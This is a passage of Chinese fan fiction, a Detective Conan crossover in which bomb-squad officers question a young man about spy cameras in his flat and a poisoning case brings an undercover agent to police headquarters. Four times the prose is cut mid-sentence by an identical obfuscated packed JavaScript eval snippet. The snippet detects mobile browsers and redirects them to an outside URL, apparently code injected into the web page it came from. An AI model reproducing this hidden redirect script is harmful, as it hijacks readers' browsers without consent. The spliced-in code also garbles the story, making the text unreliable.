“小阵平,你们怎么还没……啊,您好,您是这家的住户吧?非常感谢您的配合!” 比起松田阵平的强势,这位身上穿着防护服的警官先生的态度就温柔许多。他脸上带着十分有亲和力的微笑,一上来就热情地握住牧山晓的手一通感谢,这架势让人想拒绝他都不好意思。 牧山晓:…… 好家伙,这对幼驯染还真是买一送一。 不出意外的话,这位留着半长发、看起来非常擅于沟通的警官先生,应该就是松田阵平的幼驯染萩原研二了。他本该于七年前的一场爆炸事故中殉职而亡,当时的他年仅22岁,才刚从警校毕业不久。 果然,很快从阳台远远传来松田阵平的声音:“hagi,炸弹交给我就行,你把那小子送下去!” “知道了!喂等等,你不会还没穿防护服吧?”萩原研二冲阳台喊道。 “行动不方便,等到了再穿!” 萩原研二叹了口气,小声抱怨了一句什么。 再转头看向少年的时候,脸上恢复了温和的笑意。 “放心吧,别看那家伙毛毛躁躁的样子,其实是我们□□处理班最靠谱的警察,炸弹一定能顺利解决掉的。不过待在这里还是有点危险,其他住户已经都离开了,我也送你下楼吧。” 虽然态度亲和语气轻松,推着少年往外走的动作却不给人拒绝的余地。 牧山晓顺着萩原研二的力道往外走,视线忍不住往阳台的位置飘去。可他才刚走了两步,突然感到背后的力道忽地一顿。 他疑惑地回头,就看见萩原研二望着客厅中硕大的电视屏幕,面露惊诧。 13.烫男人是金发黑皮(十三) 牧山晓觉得自己可能是最近天天想那个该死的狗血剧本,想坏了脑子。 不然他不至于第一反应是慌忙解释:“那只是个游戏cg!游戏cg你懂吗?是假的!” 话音落下后,他才反应过来自己说了什么,忍不住开始脚趾扣地。 这种东西谁会看不出来啊,特意强调反而显得奇怪吧?! 他现在只觉得萩原研二看过来的目光中,诧异和困惑的情绪格外刺眼。 片刻后,男人紫色的眼眸中流露出些许笑意:“哈哈哈哈,我看起来应该还不至于老古董到这个地步吧。电视上那个,是《无限之城》对吧?我以前也是玩过的哦。” “啊,哦……”牧山晓尴尬不已。 “好了,时间紧急,你还是先离开吧。” 萩原研二推着牧山晓的肩膀将他一路送到电梯里,还贴心地帮他按下了一楼的按钮。 “在安全的地方乖乖等着吧,炸弹的事情很快就能解决的,相信我们。” 电梯门关上之前,这位优秀的拆弹警察做出了这样的保证。 而被关进电梯的牧山晓后知后觉地反应过来,这样一来,他岂不是把陌生人留在自己家了? 好消息,对方是值得信任的警察,安全问题可以完全放心。 坏消息,他有一个混黑的室友。 想起家里被亲友藏得到处都是的一堆违禁品,牧山晓不禁有些忐忑。 警察应该不会乱翻别人家的东西吧? 走出公寓大楼后,牧山晓才发现楼下还站着不少被疏散的住户。他们大多都穿着睡衣,神情疲惫而迷茫,有的凑在一起窃窃私语,有的则尝试向旁边维持秩序和警戒的警察打听消息。 牧山晓竖起耳朵听了一会儿,意识到警察劝他们离开公寓楼时,大概是找了个其他借口,没有说出炸弹的存在。 不过以当时萩原研二还有功夫跟他闲聊两句的状态来看,或许可能不是特别危险的炸弹? 刚刚听亲友说他那边发生了凶杀案,正在进行三选一寻找凶手的经典探案流程。牧山晓想了想,还是暂时没有把自己这边的突发情况告诉对方,以免对方分心。 凌晨的夜风很冷。牧山晓缩在一辆可以挡风的警车旁边,抱紧双臂,有些后悔离开前没多拿件衣服。 祈祷这场意外能快点结束吧。 …… 看着电梯门关上,确认指示灯显示电梯在下行,萩原研二这才返回公寓。 转身的那一刻,男人脸色一变,原本轻松的笑意迅速收敛,变得严肃起来。 他回到公寓内,径直朝电视屏幕走去。 他只扫了一眼屏幕上那张画风精美的游戏cg,视线没有过多停留,而是投向屏幕的右上角,紫色的双眸中闪过一丝锐利的光芒。 接着,他的注意力落在右上角的墙面上,那里有一幅风景挂画,乍一看上去没什么稀奇的,整体色彩结构与电视背景墙风格和谐,融为一体。 但在这间其他地方装修相当简洁的公寓内,这幅挂画就显得有些突兀了。 最开始,萩原研二其实并没有注意到这个奇怪的装修细节,先不说在别人家到处打量是很没有礼貌的行为,就是当下的紧张形势,也容不得他分心去关注这种小事。 ——如果不是被那个硕大的电视屏幕上面的游戏cg吸引了注意力的话,他大概根本不会发现这幅挂画。 更不会注意到画框拐角的接缝处,闪过一道异样的反光。 多年从警积累出的经验,以及本就比常人更加敏锐的直觉都在告诉他,这个地方藏着可疑的东西。 这时,他那两位警察同事从阳台走了过来。 “萩原,你在干什么呢?”身后传来同事疑惑的声音。 萩原研二立即转过身,神情自然:“没什么。小阵平已经到楼下了是吗?” 同事点头:“对,我们正要下去,一起走吧。” “你们先去,我等会儿就来。” 听到这个回答,两位警官对视一眼,有些疑惑。 萩原研二正色道:“别忘了,根据我们对炸弹犯的心理画像分析,他是个胆子不大却控制欲很强的人,所以会用这种危险性没那么大的炸弹去威胁他的旧情人。” “我个人怀疑他很有可能会在爆炸点附近徘徊,以随时监控事情的进展。” “所以我想在这个楼层再搜查一下。” 闻言,两位警官露出恍然的表情:“那好,我们去楼下搜查。” 两位同事走后,萩原研二又在这个房间待了一会儿。 等他从房间出来后,没有急着下楼,而是像他说的那样在这层楼的走廊上仔细搜查了一圈。 表面看起来,整个楼层安安静静的,不像有人的样子,也没什么异样。 搜查即将结束时,萩原研二装在口袋里的手机忽然响起铃声。男人停下脚步,拿出手机,发现是松田阵平打来的电话。 他接通,轻笑着问:“解决了?” 空荡的走廊中回荡着他带着轻松笑意的声音。 “当然,这种程度的炸弹,拆弹的时间超过一分钟都算我学艺不精。”电话里松田阵平语气不屑,“你怎么还在楼上?” 萩原研二的视线再次扫过整条走廊,最终落在离自己最近的那扇门上,神情若有所思:“发现了点有趣的东西。” “什么东西?” 萩原研二眨眨眼:“有兴趣上来看看吗?” …… 萩原研二和松田阵平从公寓大楼走出来的时候,两人中间还夹着一个个子不高、蓄着胡须的男人。 这两位优秀的拆弹警察一人抓住男人的一只胳膊,将人按得死死的。卷毛的那位时不时还冲男人呵斥几句,看起来简直比犯人还要凶残。 他们的出现宣告着危机解除。 这场炸弹案是爆破物处理班和搜查一课协作办案,现在炸弹已经被拆除,炸弹犯也被抓到了,剩下的交给搜查一课收尾就好。 萩原研二和松田阵平这两个爆破物处理班的人,高高兴兴地押着犯人朝搜查一课警车所在的方向走去。 牧山晓就站在警车附近,见状好奇地多看了一眼。 没想到就是这一眼,刚巧与炸弹犯抬起的视线对上。 咦?怎么是这个人? 牧山晓有些诧异。令他意外的是,他之前见过这个男人。 就在两天前,这个男人曾敲响过他们的公寓门。当时去开门的是亲友,牧山晓只在客厅里隔着不远的地方朝门口望了一眼。 亲友简单几句话将人打发走,回来时解释说:“说是要找人,好像是找错楼层了。不过不知道是真的假的,以防万一,我们还是早点搬家吧。” 当时牧山晓没怎么在意这件事。 此时此刻,联想到炸弹所在的位置,他隐约猜到了点什么。 胡子男看不出意味的目光莫名地在牧山晓身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545209|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上停留了几秒,随后在身后警察的推搡下,被迫收回视线,钻进警车。 “你认识这个人?” 身旁突然传来的男声吓了牧山晓一跳。他一转头,这才发现萩原研二不知道什么时候走了过来。 牧山晓犹豫了一下,还是决定实话实说。他简单讲了两天前见过男人的事。 没想到萩原研二听完忽地就笑了:“那正巧,关于这次的炸弹案,我们还有很多细节没有调查清楚,方便配合我们去一趟警视厅吗?” “啊?”牧山晓一愣,“可是我……”该说的都已经说了呀。 这时,松田阵平也凑了过来,一巴掌按住牧山晓的肩膀,像是防止他逃跑似的,非常用力。 “不方便也得去。”卷发男人以近似威胁的口吻,很凶地说道,“小子,跟我们走吧!” 牧山晓:“?” 也就是这时,牧山晓才注意到萩原研二的手臂上搭着一件眼熟的外套。他眼睁睁看着萩原研二将外套抖开搭在他的肩上,裹住他被冻得有些发凉的身体,笑眯眯地说:“我顺手从你家玄关处拿的,是不是很贴心?” 牧山晓:…… 这根本就是早有预谋吧?! 就这样,牧山晓莫名其妙地被强行拐上了警车。 牧山晓:……虽然没搞懂为什么,但他能怎么办呢。 在前往警视厅的路上,牧山晓出于好奇心,详细询问了案件的经过。 是一个槽点颇多令人极其无语的,失恋男人向抛弃他的旧情人复仇的戏码。男人在旧情人家里放置炸弹,并且发信息威胁对方复合,没想到女方当即就报了警。男人得知对方报警后的第一反应竟然不是害怕,而是认定女方为了逃离自己而不择手段,更加生气了。 男人曾在与女方的沟通过程中不小心透露过,炸弹的威力不大,“只是我们两人之间的事,不会牵扯到其他人”。但出于谨慎,警察还是疏散了其他住户。 刚刚了解完这令人无语的案情,紧接着牧山晓又得知,自己那个混黑的倒霉室友,此时也正在前往警视厅的路上。 ……这不就巧了吗。 【牧山:一个好消息,一个坏消息。】 【傻狗波波:等等,我还沉浸在松田阵平和萩原研二还活着的震惊之中。】 【牧山:那就先说会让你更震惊的坏消息。】 【傻狗波波:让我缓缓……好的你说。】 【牧山:我怀疑你的违禁品有可能被萩原研二发现了。】 不然他左思右想,也想不出这两人非要揪着他去警视厅的原因。 【傻狗波波:……那很坏了。好消息呢?】 【牧山:好消息是我可以把所有罪行都推到你头上,反正他们也查不到你本人。】 这间安全屋是安室透本尊用假身份租下的,以普通警察的能力是查不到安室透本人的身份的。 【傻狗波波:……想法很好。】 【傻狗波波:那我也告诉你一个好消息和一个坏消息。】 【牧山:虽然有不好的预感,但你说。】 【傻狗波波:好消息是我好像已经猜到凶手是谁以及作案手法了,不出意外的话,我很快就能洗清嫌疑。】 【牧山:……那坏消息呢?】 【傻狗波波:咱们俩必须得见一面,而且必须得在警视厅。】 【牧山:???】 【傻狗波波:我有东西要给你。】 14.烫男人是金发黑皮(十四) 作为东京都警察的核心机构,警视厅本部大楼相当大,搜查一课和□□处理班的办公室都在这栋楼里。 牧山晓本来以为自己会被带到搜查一课。 但走进大楼后,两个男人带牧山晓走的路却不是他熟悉的方向。 于是牧山晓以为这两个人会把他带到□□处理班的办公室——虽然他不知道为什么。 结果他们哪儿都没去,而是带着牧山晓钻进了一个空无一人的会议室。 “咔哒”一声,落后一步的松田阵平把门反锁上了。 牧山晓:??? 怎么感觉不太妙。 【牧山:我好像被萩原研二和松田阵平绑架了。】 【傻狗波波:?】 【牧山:他们把我关进一个屋子里,不知道想干什么。】 【傻狗波波:什么?!难不成他们想抢我的小黑屋剧本?!】 【牧山:……他们没病。总之咱俩估计暂时碰不上面,你什么时候到?】 【傻狗波波:还在路上。】 【傻狗波波:我可能要晚点才能脱身,你那边结束了以后,可以找个厕所之类隐秘的地方等我,但不要离开警视厅大楼,不出意外的话琴酒可能在外面。】 【牧山:怎么搞得跟地下接头一样,你该不会让我当着警察的面帮你转运违禁品吧?】 【傻狗波波:当然不会。】 【牧山:算你有点……】 【傻狗波波:是比违禁品更厉害的东西!哈哈哈哈,是黑衣组织的秘密资料啦,好像朗姆对这个东西非常在意。我想看看能不能在资料被琴酒销毁之前,复制一份,找机会转交到公安那边。】 【傻狗波波:放心,东西不大很好藏,不会被人发现。】 【牧山:……我谢谢你。】 【牧山:先让我过了萩原研二这关再说吧。】 “警官先生,不是要做笔录吗?”安静的会议室内,棕发少年神情茫然地坐在椅子上,双膝并拢,双手紧张地握着膝盖。 他身上还穿着睡衣,上半身披着萩原研二离开公寓时,帮忙从玄关处匆匆拿走的外套。 不久前松田阵平看见萩原研二拿着这件外套时,还嘲讽过幼驯染似乎有些过界的贴心。 当时的萩原研二是这么想的:“毕竟是我们先做了不符合规定的事嘛,细究起来算是侵犯公民隐私了……总之要多讨好一下,以免对方狠心举报我们。” 松田阵平当即撇清关系:“请注意,侵犯他人隐私的人是你,跟我没关系。” “嘿嘿嘿,小阵平当然是我的共犯啦!” 然而直到现在,萩原研二才后知后觉地发现,自己有可能做了一件错事。 过于宽大的黑色皮革外套一看就不符合少年的身形,款式也偏向成熟,更像是本来就属于一个成年男人的衣服。 少年身材削瘦,皮肤苍白,穿着印着幼稚图案的可爱风格的睡衣,乖乖巧巧的坐姿让他看起来甚至有些惹人怜爱。 但当目光触及到裹在他身上的那件带有成熟气息的黑色外套时,气氛就变得有些奇怪。 松田阵平忽然起身离开。 萩原研二扫了一眼松田阵平的背影,有些疑惑,却没有多问。他收回视线,将注意力集中在棕发少年的身上。 “其实,我们并不是找你来做笔录的,也不是为了查案子。”萩原研二神情严肃,语气不急不缓地诉说着自己的目的,“我们只是找借口将你带过来,好方便进行一场安全的、无人打扰的谈话。” “接下来的问话可能会触犯你的隐私,如果不方便可以不用回答。但请相信,我们身为警察的职责,就是确保公民的利益不受侵害。” 牧山晓:? 这些郑重又令人充满安全感的宣言……怎么感觉有点熟悉,好像不久之前才听某个人说过类似的话? 萩原研二深吸一口气,语气凝重地问道:“请问,你正处于被人控制的状态吗?” 牧山晓:“……啊?” 什么意思?哪种被人控制? 怎么突然问他这个? 见少年没一副没反应过来的样子,萩原研二换了个问法:“你现在行动是自由的吗?是否正在遭受他人的威胁?或者直白点说……” “你知道自己正在被人监视吗?” 牧山晓:……?! 随着一个接一个的问题,棕发少年的表情先是讶异、恍然,紧接着收敛起所有表情,变成一片空白。 萩原研二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559105|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直仔细地观察着少年的反应,见状,不等少年回答,心中就有了大概的猜测。 “你知道的,是吗?” “既然如此,你知道藏在你家客厅挂画里的那个微型摄像头,是私人改造的违禁品吗?” “无论是零件还是技术,都不是当下市场上可以轻易买到的。”萩原研二语气肯定,“这绝不是普通人能搞到手的东西。” 棕发少年木然地张开嘴,却是哑口无言。 见他不回应,萩原研二并不着急,而是继续说道:“不只是摄像头,我跟小阵平还在你家客厅的许多地方都翻到了窃听器、监视器,甚至在座机电话里发现了防窃听贴片。” 这些明显有着监控用途的小东西数量惊人,无一不昭示着这间公寓不可能是普通人的住所。 “你对这些东西,都是知情的吗?” “又或者,这里根本不是你的住所?” 公寓内另一位成年男性居住的痕迹没有任何遮掩,他或许才是公寓的主人。 并且萩原研二细心地发现,公寓内属于少年的东西很少,他看起来并不像长期住在这里的样子。 然而引起两人怀疑的细节不只这些。 除了那个座机电话之外,他们没有在那间公寓内发现任何通讯设备。而座机上显示的通话记录,也只有一个号码。 除此以外,公寓内虽然有不少游戏卡带之类可供人娱乐和消耗时间的东西,却没有任何可以上网的设备。以及,他们发现男孩有不少套风格各异的睡衣,却鲜少有外出时可以穿的衣服。 抛开电视屏幕上那张充满暗示意味的游戏cg不谈,这一切细节似乎都在昭示着一个相同的可能: 男孩或许被人限制了自由。 一个正常的年轻男孩,是不应该生活在这种环境中的。 他们甚至注意到,当他们提出要带男孩去警视厅的时候,男孩脸上不自觉流露出抗拒的神情。 以及,即便到了现在,男孩始终没有提出跟任何人联络的要求。家人也好朋友也好,或者那个十分可疑的神秘同居人也好。他没有向任何人通知自己目前处境的意图。 就好像他知道,一直有人在关注自己,无论他跑到哪里,都一定会被人找到似的。 15.烫男人是金发黑皮(十五) 会议室内一片寂静。 萩原研二在耐心地等待着少年的解释,尽管少年长久的沉默已经说明了不少问题。 棕发少年垂着头端坐在椅子上,背部挺直,放在膝上的双手扣握在一起,手指不停地捏来捏去。 浑身上下都写满了“紧张”两个字。 【牧山:我突然想起来我的游戏还没存档。】 【傻狗波波:?没事,等我回去了帮你重打。】 【牧山:那倒不用……你说系统去哪儿了,为什么一直没出现?】 【傻狗波波:怎么突然想起这个?】 【牧山:要是当初的新人福利,我再争取一下,要一个读档功能就好了。】 【牧山:这样我就可以立刻读档回到一个半小时前,然后选择绝不给警察开门。】 【傻狗波波:……摸摸头。别怕,你随便编,他们又不知道跟你住在一起的人是‘安室透’,随便扯就完了!】 【傻狗波波:实在不行你就装哑巴,萩原研二总不能拿炸弹绑你身上逼你说!】 【牧山:……那应该不至于。】 沉默许久的少年忽然深吸了一口气。 萩原研二立刻提起精神,等了一会儿却还是不见少年开口。 就在这僵持的氛围中,会议室的门突然被人从外面打开。松田阵平走了进来,手中拎着一条毯子,还端着一杯热牛奶。 他一进门就发现了室内紧张的气氛,挑了挑眉,转身将门反锁后,大步走过来。 一杯热腾腾的牛奶被“咚”的一声放在牧山晓面前,柔软的毯子被丢在膝上。 “把你身上那件丑得要死的外套脱下来,看着就令人火大。冷的话就用这个。” 明明是暴躁又不耐烦的语气,却偏偏泄露出几分别扭的关心之意。 【牧山:松田阵平说你的外套丑哎。】 【傻狗波波:他什么审美?那件外套明明酷得不行好吗?!松田阵平不懂机车风!】 牧山晓心中忍不住轻笑,面上又不得不绷着表情,不敢让面前这两个观察力极其敏锐的男人看出来。 虽然不明白松田阵平到底为什么看身上这件外套不顺眼,但他还是松开紧扣在一起的双手,乖巧地将外套脱下,接过毯子裹在身上。 黑色的皮质外套转而又被搭在少年的膝上。虽然仍令松田阵平觉得碍眼,却也比刚才好得多。 惨白没什么血色的手指,自然而然地落在身前的桌子上,虚虚环住散发着暖意的玻璃杯。 少年微微抬起头,悄悄打量了几眼两位警官的神色之后,低声开口:“那些摄像头和窃听器,都是关着的,没有开启……” 他说的是实话。 几天前他和亲友两人决定暂住这间安全屋时,亲友当天就把公寓内搜了一遍,发现了不少安室透留下的小玩意。 或许因为这间安全屋并不是安室透常用的,所以这些小东西一直是关闭的状态,大概只是留在这里备用。 两人自然不会特意开启这些东西,在确认只有安室透的手机才能控制它们、没有被其他人利用的风险后,也就没有挪动它们的位置。 “我没有被控制。” “这些东西的确属于那个和我住在一起的人,我不知道他是从哪里弄到的,不过我知道他在公寓里放这些东西只是因为他的性格额……比较缺乏安全感,或者你们可以简单理解为被害妄想症?总之绝对不是你们以为的那种目的。” 少年一口气说完,睁大双眼密切关注着两位警官的反应,写满诚恳的浅棕色眼眸一眨不眨地盯着别人,也不知道是在紧张,还是想祈求信任。 听完他的解释,萩原研二和松田阵平无声地对视一眼,表情看不出有没有相信少年的说辞。 松田阵平先发制人,犀利地指出疑点:“你说你那位同居人有‘被害妄想症’,可监听器都没有开启,那如何能给他提供安全感?” 人一旦开始撒谎,就会撒得越来越熟练。 “他骗自己那些东西开着,起到一个心理安慰的作用。”牧山晓面无表情地解释,“毕竟也不能一直任由这个病症发展下去,他已经在努力控制了。” “是吗?”松田阵平对这个答案半信半疑。 他紧接着又问:“那你的那位同居人是什么身份?你们两个又是什么关系?” 牧山晓淡定回答:“他是一家五星级酒店的宴会厅服务生,我跟他是朋友……” “两位警官先生,我只是暂时借住在他家,并不知道他从哪儿搞来的这些违禁品,我以为他只是在网上随便买的。我跟这些违禁品真的没有关系!” 两位警官先生:“……” 听起来虽然合理,但还是觉得很可疑。 萩原研二轻咳一声,应道:“那好,这样,你把你那位朋友的身份信息交代一下,之后的事情我们会去查证。还有,这些东西来源不明,我们必须要见到你的那位朋友调查清楚才行,你把他的联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569414|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系方式也给我们吧。” 松田阵平补充:“你自己的身份信息也要交代,另外你跟你这位朋友怎么认识的、为什么住他家,通通都要交代清楚!” 牧山晓眨眨眼,没说话。 松田阵平眯眼:“怎么,有问题?” 没什么大问题。 主要是有点编不下去了。 果然一个谎言要用无数的谎去圆…… 见松田阵平冷哼一声,大有“今晚势必要审问清楚”的架势,牧山晓抢先开口:“请问两位警官将我朋友的公寓搜得这么彻底,是否有相应的搜查令呢?” “……”两位警官顿时哑口无言。 松田阵平头上竖起的卷毛都垂落回去,身上强势的气势更是收敛不少。 他们搜查公寓的行为本就是不符合正规程序的,要是被人举报肯定没好果子吃,不然他们也不至于把牧山晓偷偷拉到这间会议室里进行“审问”了。 不知道是不是被两人一连串的“审问”逼急了,从少年反问的那一刻起,他身上的气息就产生了微妙的变化。 原本乖巧的坐姿变得更加紧绷,总是低垂的头颅微微扬起,视线始终紧紧盯着面前两个男人,似是在警惕他们的一举一动。握着玻璃杯的手指因为用力而泛白,浑身上下流露出的抗拒情绪令人无法忽视。 给人一种,如果再问下去,不但得不到回答,还会被警惕和讨厌的感觉。 这副样子看得松田阵平火大:“喂小子,你不要不识好歹,我们可是因为担心你才……” “小阵平!”萩原研二及时打断他,声音平和地劝说,“别这样,会吓到他。” 有时候过于直白和热情的关心,反而会激起对方的抵触情绪。 松田阵平听懂了他的潜台词,不甘不愿地将没说完的话吞下。 “有本事你来解决。”他小声嘟囔着。 “算了,你不想说,我们也没办法逼你。”最终,萩原研二一声叹息,宣告了这场对话的结束,“本来也只是为了确认你的安全,才擅自将你带来警视厅的。既然你说这是场误会……那就暂且当做误会吧。” “不论真相如何,你都要知道,我跟小阵平会一直在这里。” “只要你有需要,就来找我们,我们会履行身为警察的职责,为你提供帮助。” 松田阵平实在忍无可忍,大手毫不客气地落在少年的头上,用力揉了几下。 “要相信我们,我们可是警察啊。” 16.烫男人是金发黑皮(十六) 东野刚,“东野制药”的社长,今年54岁,死于氰\化\物中毒。 案发时死者正在参加一场慈善晚宴,死者声称不适所以早早离场,几乎全程都在顶楼的休息室休息。目前警方锁定的嫌疑人有三个:东野刚的秘密情人野泽千代、东野刚的商业合作伙伴井田健一、酒店服务生安室透。 三位嫌疑人都在案发之前直接接触过死者,其中有两位疑似对死者有强烈的杀人动机。 警视厅搜查一课办公区一块相对安静的角落,三位嫌疑人被暂时带到这里做笔录和初步问话。 “那么请问,在案发之前与死者素未谋面也没有杀人动机的我,遭受怀疑的理由是什么呢?” 金发黑皮的男人即使身穿款式简单的服务生西装,也无法掩盖他身上非凡的池面气质。黑色的燕尾服外套被他脱下挂在手臂上,他身体倾斜依靠着桌子的边沿,修长的双腿懒散地交叠在一起。 他望向伊达航的目光沉静而锐利,情绪冷静地质问道。 伊达航表情严肃,语气公事公办地解释道:“我们在死者喝过的红酒中检测到了氰\化物,不出意外的话,这应该就是导致死者死亡的直接原因。而你是第一个接触红酒和酒杯的人,所以我们将你列为嫌疑人之一。” 金发男人还没说话,一旁的井田健一就坐不住地开口了:“可我完全没有接触过那杯红酒,为什么我也是嫌疑人之一?!” “因为我们还在死者的领口处发现了少量的河豚毒素,据我们了解,你在案发之前曾有相当长的一段时间,是与死者单独相处的。” 一直就表现得情绪不太稳定的井田健一立刻嚷嚷起来:“什么河豚毒素,我根本就不知道!而且你们不是说他死于氰\化物吗?这种东西起效要比河豚毒素快得多吧?!” 氰\化物毒性很大,入口即死。而微量的河豚毒素就可致人死亡,根据摄入量的不同,发作时间最短为10分钟左右,最长为6个小时。 金发男人嗤笑一声,开口嘲讽:“你对这些毒药还挺了解。” 刚刚还暴躁不已的井田健一气势一顿,悻悻地嘟囔了一句:“这……这是常识吧……” 然后就缩回到座位上,不再开口。 金发男人心中好笑。 的确,米花町居民的常识。 这时,伊达航适时接话:“死者的真正死因需要法医鉴定结果出来之后才能确认,只是从现有的线索来看,我们初步判断大概率是氰\化物导致的死亡。但这不代表使用河豚毒素蓄意谋杀的人,能够逃过法律的惩治。” “我们将三位带来警视厅,主要目的是想要检测一下三位身上的东西。如果接触过毒药,身上一定会留下相应线索。还请三位配合一下。” 三位嫌疑人当然只能配合。 伊达航说,会有人依次带他们三人去进行检测。相比起金发男人和野泽千代的镇静,井田健一满脸明晃晃的心虚,就显眼得多。 野泽千代是第一个被带去做检测的。她前脚跟被警察带走,紧接着,井田健一突然提出要去卫生间的要求。 “刚才在酒店的时候那个女人也去了,为什么我不能去?!”面对伊达航的拒绝,井田健一理直气壮地说。 ……这架势,就差把他那点不安分的小心思写在脸上了。 这么一来,不管他是不是凶手,也都引起了在场所有警察的关注。 伊达航倒是没有坚持:“好吧,那就让我的同事陪你一起去。高木,你看好他。” “好的,伊达前辈!”高木涉领命后,紧盯着井田健一的视线像是要在对方身上凿出两个洞,死死不放。 没想到伊达航刚答应完这边,转头就听到另一道熟悉的男声响起,语气兴致勃勃:“警官,我忽然也想去了呢!” 伊达航:“……” 他表情险些控制不住,要不是在场的所有人都盯着他,他真的很想怒瞪这人一眼。 你这家伙捣什么乱!恶趣味就非得在这种时候发作吗?! 见金发男人满脸期待地看着自己,伊达航只能面无表情地点头:“可以,我陪你去。” “嗯?” “警官,我跟这位井田先生一起就可以……” “怎么,难道你们两个想借机串供吗?” “……” 看见昔日同期露出久违的被噎到的表情,伊达航心中一阵畅快。与同期重逢后纷涌而出的复杂情绪,总算消解了几分。 金发男人跟在伊达航身后离开办公大厅。 走廊上人来人往,身穿制服的警察们脚步匆忙地路过。转头透过玻璃窗,能看到办公区内杂乱的工位上,堆积如山的文件、卷宗和证物袋,键盘的敲击声混合着不断响起的电话铃声此起彼伏。 金发男人脚步微缓,兴趣十足地打量着这番忙碌的景象。 伊达航一回头,就见到金发男人看得认真的侧脸。他心中微动,忍不住出声道:“是第一次来这里吗?” 金发男人听到声音,立刻回神,转过头条件反射般地露出一个微笑,顷刻间掩去了那双紫灰色眼眸中的所有情绪。 “当然啦,伊达警官,我可是良民。不是警察,也没有犯过罪的话,怎么会来这种地方呢?” 伊达航闻言,嘴角猛地一沉,但很快脸上的表情又若无其事地恢复自然。 他脚步不停地向前走着。 降谷零,当年警校最优秀的学生,以警校第一的身份毕业,几乎所有人都期待着这颗警视厅新星大放光芒。 毕业后却直接销声匿迹,谁都不知道他去了哪儿,整个人仿佛人间蒸发。 他说他不是警察。 “你喜欢这里的环境吗?” 伊达航清醒地知道自己不该多话。与昔日同期重逢的那一刻,对方的身份和假名,以及面对他时与对待陌生人无异的态度,就几乎将答案写在了明面上。 他不知道降谷零现在究竟是什么身份,在执行怎样的任务,更不知道什么时候两人才能结束这种相见却不能相识的状态。他也不知道自己将人带来警视厅的决定是否正确,是否会给对方造成困扰。 他只能装作什么都不知道,公事公办地履行自己的职责,以一位刑警对待犯罪嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569415|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑人应有的态度,去对待这位自己曾经敬佩的昔日同期。 但他还是忍不住想,如果降谷零跟他一样,毕业后来到搜查一课成为一名刑警,会是怎样的情形。 他还是忍不住问出了那样的一句话。 “还行吧。”那个曾经是优秀警校毕业生的男人语气平淡自然,听起来没有半分违心,“每天忙忙碌碌地接手一个又一个的案件,虽然工作繁琐却过得十分充实,偶尔还会收获非同寻常的成就感。这样的职业生活听起来好像也还不错。” 伊达航嘴角的笑容还没来得及扬起,就听到男人继续说道: “不过呢,每天加班加到死,咖啡当水喝,辛苦烦心的事一大堆,到头来还不一定能得到回报,稍微有一丁点污点就会被大众揪住不放指责你配不上警察的荣耀。” “警察是个令人尊重和敬佩的职业。” “但其中的压力,果然不是谁都能够承受的吧。” “是吗?”伊达航脸上的表情渐渐僵硬,“看来你不喜欢警察这个职业。” “当然也谈不上讨厌啦,只是感觉跟我没什么关系。” “我这种人,没那么大的理想和抱负,只想着做个平民老百姓就好。” “……” 一场临时谈话以其中一人的突发奇想为开端,在另一人有些尴尬的回复过后,最终以冷淡的氛围收场。 或许是为了与另一位犯罪嫌疑人特意避开,伊达航带金发男人去的是楼上的公用卫生间。 这段路有点长,令人窒息的沉默在两人中间蔓延着。 “到了。”卫生间门口,伊达航停住脚步,没有回头地说,“进去吧。” “伊达警官不打算进去吗?”金发男人挑眉,语气轻佻地问,“我以为警官要一直盯着我,以防止我销毁证据呢。” “你认为有这个必要吗?”伊达航反问了一句。 金发男人轻笑一声:“哈哈,确实没有,我又没有杀人。” 说完,他不再去看伊达航的反应,直接抬脚独自走进了卫生间。 【傻狗波波:晓宝,你那边怎么样了?】 【牧山:已社死,勿cue。】 【傻狗波波:……编完了?】 【牧山:编完了,勉强过关。】 【傻狗波波:辛苦了。你方便来搜查一课这边吗?我现在在搜查一课办公大厅的楼上。】 